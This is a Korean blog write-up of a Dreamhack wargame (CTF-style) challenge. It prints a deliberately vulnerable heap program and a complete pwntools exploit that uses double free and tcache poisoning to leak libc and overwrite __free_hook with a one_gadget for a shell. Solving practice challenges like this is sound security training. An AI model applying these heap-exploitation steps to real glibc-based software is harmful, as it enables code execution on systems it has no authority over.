[Dreamhack Wargame] Tcache Poisoning

don't panic·2023년 12월 11일
0

System Hacking wargame

목록 보기
12/39

code

// Name: tcache_poison.c
// Compile: gcc -o tcache_poison tcache_poison.c -no-pie -Wl,-z,relro,-z,now

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  void *chunk = NULL;
  unsigned int size;
  int idx;

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);

  while (1) {
    printf("1. Allocate\n");
    printf("2. Free\n");
    printf("3. Print\n");
    printf("4. Edit\n");
    scanf("%d", &idx);

    switch (idx) {
      case 1:
        printf("Size: ");
        scanf("%d", &size);
        chunk = malloc(size);
        printf("Content: ");
        read(0, chunk, size - 1);
        break;
      case 2:
        free(chunk);
        break;
      case 3:
        printf("Content: %s", chunk);
        break;
      case 4:
        printf("Edit chunk: ");
        read(0, chunk, size - 1);
        break;
      default:
        break;
    }
  }

  return 0;
}

checksec

  • NX와 FULL RELRO 보호 기법이 적용되어 있으므로 셸코드를 실행하기 어렵고, GOT 오버라이트 공격도 수행하기 어렵다.
  • 따라서 훅을 덮는 공격을 해야할 것 같다.

코드 분석

  • 한 청크를 Double Free하여 free list인 tcache에 중복으로 연결된 상태를 만든 후, 재할당하여 할당된 청크이면서 free list에 존재하는 청크로 만들어 Tcache Poisoning 공격을 수행할 수 있다.
  • 그 상태에서 임의 주소에 청크를 할당한 후 값을 쓰면 임의 주소 쓰기가 가능하고, 임의 주소에 청크를 할당한 후 값을 읽으면 임의 주소 읽기가 가능하다.

exploit 설계


  • 임의 주소 읽기로 libc가 매핑된 주소를 알아내면 __free_hook또는 __malloc_hook의 주소를 알아낼 수 있고, 임의 주소 쓰기로 해당 주소에 원 가젯 주소를 덮어쓰면 된다.

1. Tcache Poisoning

  • 임의 주소 읽기 및 쓰기를 위해 Tcache Poisoning을 사용할 것이다.
  • 적당한 크기의 청크를 할당하고, key를 조작할 뒤, 다시 해제하면 Tcache Duplication이 가능하다.

2. Libc leak

  • 예제를 살펴보면 stdinsetvbuf 함수에 인자로 전달하는데, 이 포인터 변수는 libc 내부의 IO_2_1_stdin을 가리키고 있다. 따라서 이를 읽으면, 그 값을 이용해 libc의 주소를 계산할 수 있다.
  • 이 포인터들은 전역 변수로서 bss에 위치하는데, PIE가 적용되어 있지 않으므로 포인터들의 주소는 고정되어 있다. Tcache Poisoning으로 포인터 변수의 주소에 청크를 할당하여 그 값을 읽을 수 있을 것이다.

3. Hook overwrite to get shell

  • Libc가 매핑된 주소를 구했다면, 그로부터 원 가젯의 주소와 __free_hook의 주소를 계산할 수 있다.
  • 다시 Tcache Poisoning으로 __free__hook에 청크를 할당하고, 그 청크에 적절한 원 가젯의 주소를 입력하면 free를 호출하여 셸을 획득할 수 있을 것이다.

최종 exploit.py

from pwn import *

p = remote('host3.dreamhack.games', 15705)
e = ELF('./tcache_poison')
libc = ELF('./libc-2.27.so')

def alloc(size, content):
    p.sendlineafter(b'4. Edit\n', b'1')
    p.sendlineafter(b'Size: ', size)
    p.sendafter(b'Content: ', content)
def free():
    p.sendlineafter(b'4. Edit\n', b'2')
def print():
    p.sendlineafter(b'4. Edit\n', b'3')
def edit(data):
    p.sendlineafter(b'4. Edit\n', b'4')
    p.sendafter(b'chunk: ', data)

# double free 가능한 chunk 만들기
alloc(b'48', b'dreamhack')
free()
edit(b'B' * 8 + b'\x00')
free()

# stdout의 주소를 가리키는 포인터 주소를 tcache에 대입 *(*stdout) = _IO_2_1_stdout
addr_stdout = e.symbols['stdout']
alloc(b'48', p64(addr_stdout))
alloc(b'48', b'BBBBBBBB') # 이제 chunk의 위치는 addr_stdout
alloc(b'48', b'\x60') # 이제 chunk의 위치는 addr_stdout이 가리키는 주소 _IO_2_1_stdout
print()
p.recvuntil(b'Content: ')
# libc_base와 one_gadget 찾기
stdout = u64(p.recvn(6).ljust(8, b'\x00'))
lb = stdout - libc.symbols['_IO_2_1_stdout_']
og = [0x4f3d5, 0x4f432, 0x10a41c]
one_gadget = lb + og[1]
free_hook = lb + libc.symbols['__free_hook']

# double free 가능한 chunk 하나 더 만들기
alloc(b'64', b'AAAA')
free()
edit(b'A' * 8 + b'\x00')
free()
alloc(b'64', p64(free_hook))
alloc(b'64', b'AA') # 현재 chunk는 free_hook에 위치
alloc(b'64', p64(one_gadget)) # free_hook이 가리키는 값을 one_gadget으로 바꾸기

free() #free->one_gadget

p.interactive()

0개의 댓글